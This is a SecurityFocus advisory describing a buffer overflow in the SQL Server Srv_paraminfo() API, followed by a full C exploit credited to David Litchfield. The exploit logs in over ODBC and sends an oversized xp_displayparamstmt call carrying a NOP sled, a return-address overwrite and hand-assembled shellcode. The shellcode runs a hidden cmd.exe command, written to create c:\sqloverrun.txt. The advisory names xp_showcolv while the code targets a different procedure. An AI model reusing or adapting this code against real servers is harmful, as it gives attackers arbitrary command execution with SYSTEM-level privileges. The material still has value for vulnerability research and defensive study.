source: http://www.securityfocus.com/bid/2038/info

The API Srv_paraminfo(), which is implemented by Extended Stored Procedures (XPs) in Microsoft SQL Server and Data Engine, is susceptible to a buffer overflow vulnerability which may cause the application to fail or arbitrary code to be executed on the target system depending on the data entered into the buffer.

XPs are DLL files that perform high level functions in SQL Server. When called, they invoke a function called Srv_paraminfo() to parse the input parameters.

A vulnerability lies in Srv_paraminfo() and the fact that it does not check the length of the parameter string that an XP passes to it. If an attacker can pass an overly long string to the XP xp_showcolv, a buffer overflow can occur due to an unsafe memory copy. This can cause SQL Server to crash.

It may also be possible for attackers to execute arbitrary code on the host running SQL Server. The attacker would need to overwrite the return address of the calling function with the address of supplied shellcode in memory. This shellcode would be executed under the context of the account that the SQL Server service was configured to run under. The minimum privilege level that the account would have to possess are SYSTEM privileges.

This vulnerability is confined to those who can successfully log onto the SQL server. 

#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>


int main(int argc, char *argv[])
{
	char szBuffer[1025];  //display successful connection info on
                              //hdbc(s) combo-box    
	SWORD     swStrLen;               //String length   
	SQLHDBC   hdbc;                   //hdbc    
	SQLRETURN nResult;             
	SQLHANDLE henv;
	HSTMT  hstmt;
	SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
	SCHAR server[100]="";
	SCHAR uid[32]=";UID=";
	SCHAR pwd[32]=";PWD=";
	SCHAR *db=";DATABASE=master";

	UCHAR query[20000] = "exec  xp_displayparamstmt '";
	unsigned char ch=0x01;

	int count = 27, var =0, result = 0, chk =0;
	
	if(argc !=4)
	{
		printf("USAGE:\t%s host uid pwd\nDavid Litchfield 9th November 2000\n",argv[0]);
		return 0;
	}

	strncpy(server,argv[1],96);
	strncat(uid,argv[2],28);
	strncat(pwd,argv[3],28);

	strncat(InConnectionString,server,96);
	strncat(InConnectionString,uid,28);
	strncat(InConnectionString,pwd,28);
	strcat(InConnectionString,db);


	while(count < 12083)
	{
			query[count]=0x90;
			count++;
	}

	// jmp eax
	query[count++]=0xFF;
	query[count++]=0xE0;
	
	// nops
	query[count++]=0x90;
	query[count++]=0x90;

	// overwrite saved return address
	query[count++]=0xAE;
	query[count++]=0x20;
	query[count++]=0xA6;
	query[count++]=0x41;

	// code starts in ernest

	query[count++]=0x90;
	// mov edx,eax
	query[count++]=0x8B;
	query[count++]=0xD0;

	// add edx,0x52 <- points to our string table
	query[count++]=0x83;
	query[count++]=0xC2;
	query[count++]=0x52;

	// push ebp
	query[count++]=0x55;

	// mov ebp,esp
	query[count++]=0x8B;
	query[count++]=0xEC;

	// mov edi,0x41A68014
	query[count++]=0xBF;
	query[count++]=0x14;
	query[count++]=0x80;
	query[count++]=0xA6;
	query[count++]=0x41;


	//mov esi,0x41A68040
	query[count++]=0xBE;
	query[count++]=0x40;
	query[count++]=0x80;
	query[count++]=0xA6;
	query[count++]=0x41;

	// mov ecx, 0xFFFFFFFF
	query[count++]=0xB9;
	query[count++]=0xFF;
	query[count++]=0xFF;
	query[count++]=0xFF;
	query[count++]=0xFF;


	 

	// sub ecx, 0xFFFFFFB3
	query[count++]=0x83;
	query[count++]=0xE9;
	query[count++]=0xB3;

	// here:

	// sub dword ptr[edx],1
	query[count++]=0x83;
	query[count++]=0x2A;
	query[count++]=0x01;

	// add edx,1
	query[count++]=0x83;
	query[count++]=0xC2;
	query[count++]=0x01;

	// sub ecx,1
	query[count++]=0x83;
	query[count++]=0xE9;
	query[count++]=0x01;

	// test ecx,ecx
	query[count++]=0x85;
	query[count++]=0xC9;

	// jne here
	query[count++]=0x75;
	query[count++]=0xF3;

	// sub edx, 0x48
	query[count++]=0x83;
	query[count++]=0xEA;
	query[count++]=0x48;

	// push edx <- calling LoadLibrary will mess edx so save it on stack
	// Even though we're about to push edx as an arg to LoadLibrary
	// we have to push it twice as LoadLibrary will remove one of them
	// from the stack - once the call has returned pop it back into edx

	query[count++]=0x52; 

	// LoadLibrary("kernel32.dll");
	// push edx
	query[count++]=0x52;

	// call [edi]
	query[count++]=0xFF;
	query[count++]=0x17;


	
	// pop edx
	query[count++]=0x5A;


	// On return LoadLibrary has placed a handle in EAX
	// save this on this stack for later use
	// push eax
	query[count++]=0x50;


	// GetProcAddress(HND,"WinExec");
	// add edx, 0x10
	query[count++]=0x83;
	query[count++]=0xC2;
	query[count++]=0x10;


	// push edx
	// need to save this again - pop it when GetProcAddress returns

	query[count++]=0x52;

	//push edx
	query[count++]=0x52;

	// push eax
	query[count++]=0x50;

	// call [esi]
	query[count++]=0xFF;
	query[count++]=0x16;

	// pop edx
	query[count++]=0x5A;

	// WinExec("cmd.exe /c.....",SW_HIDE);
	// add edx, 0x08
	query[count++]=0x83;
	query[count++]=0xC2;
	query[count++]=0x08;


	// push edx
	query[count++]=0x52; // <- save edx

	// xor ebx,ebx
	query[count++]=0x33;
	query[count++]=0xDB;

	// push ebx
	query[count++]=0x53;

	// push edx
	query[count++]=0x52;

	// call eax
	query[count++]=0xFF;
	query[count++]=0xD0;


	// With the shell spawned code now calls ExitProcess()

	//pop edx
	query[count++]=0x5A;

	
	// pop eax <- This is saved handle to kernel32.dll
	query[count++]=0x58;



	// GetProcAddress(HND,"ExitProcess");
	// add edx,0x24
	query[count++]=0x83;
	query[count++]=0xC2;
	query[count++]=0x24;


	// push edx
	query[count++]=0x52;

	// push eax
	query[count++]=0x50;

	// call [esi]
	query[count++]=0xFF;
	query[count++]=0x16;


	// call ExitProcess(0);
	// xor ebx,ebx
	query[count++]=0x33;
	query[count++]=0xDB;

	// push ebx
	query[count++]=0x53;

	// call eax
	query[count++]=0xFF;
	query[count++]=0xD0;


	// Here are our strings
	// kernel32.dll, WinExec, cmd.exe /c ... , ExitProcess
	// 1 has been added to each character to 'hide' the nulls
	// the loop will sub 1 from each char

	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x6c;
	query[count++]=0x66;
	query[count++]=0x73;
	query[count++]=0x6f;
	query[count++]=0x66;
	query[count++]=0x6d;
	query[count++]=0x34;
	query[count++]=0x33;
	query[count++]=0x2f;
	query[count++]=0x65;
	query[count++]=0x6d;
	query[count++]=0x6d;
	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x58;
	query[count++]=0x6a;
	query[count++]=0x6f;
	query[count++]=0x46;
	query[count++]=0x79;
	query[count++]=0x66;
	query[count++]=0x64;
	query[count++]=0x01;
	query[count++]=0x64;
	query[count++]=0x6e;
	query[count++]=0x65;
	query[count++]=0x2f;
	query[count++]=0x66;
	query[count++]=0x79;
	query[count++]=0x66;
	query[count++]=0x21;
	query[count++]=0x30;
	query[count++]=0x64;
	query[count++]=0x21;
	query[count++]=0x65;
	query[count++]=0x6a;
	query[count++]=0x73;
	query[count++]=0x21;
	query[count++]=0x3f;
	query[count++]=0x21;
	query[count++]=0x64;
	query[count++]=0x3b;
	query[count++]=0x5d;
	query[count++]=0x74;
	query[count++]=0x72;
	query[count++]=0x6d;
	query[count++]=0x70;
	query[count++]=0x77;
	query[count++]=0x66;
	query[count++]=0x73;
	query[count++]=0x73;
	query[count++]=0x76;
	query[count++]=0x6f;
	query[count++]=0x2f;
	query[count++]=0x75;
	query[count++]=0x79;
	query[count++]=0x75;
	query[count++]=0x01;
	query[count++]=0x01;
	query[count++]=0x46;
	query[count++]=0x79;
	query[count++]=0x6a;
	query[count++]=0x75;
	query[count++]=0x51;
	query[count++]=0x73;
	query[count++]=0x70;
	query[count++]=0x64;
	query[count++]=0x66;
	query[count++]=0x74;
	query[count++]=0x74;
	query[count++]=0x01;




	strcat(query,"',2,3");

	
	
	if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
		{
			printf("Error SQLAllocHandle");
			return 0;

		}

	if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
		{
			printf("Error SQLSetEnvAttr");
			return 0;

		}


	if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS) 
		{
			printf("SQLAllocHandle - 2");
			return 0;
			
		}

	nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer,  1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);      
	if(nResult == SQL_SUCCESS | nResult == SQL_SUCCESS_WITH_INFO)
		{

			printf("Connected to MASTER database...\n\n");
			SQLAllocStmt(hdbc,&hstmt);
		}

	else
	{
		printf("Couldn't connect.\n");
		return 0;
	}

	if(SQLExecDirect(hstmt,query,SQL_NTS) !=SQL_SUCCESS)
		{
			printf("\nBuffer has been  sent...c:\\sqloverrun.txt should now exist.");

			return 0;

		}
	printf("Buffer sent...");	
	


return 0;
}
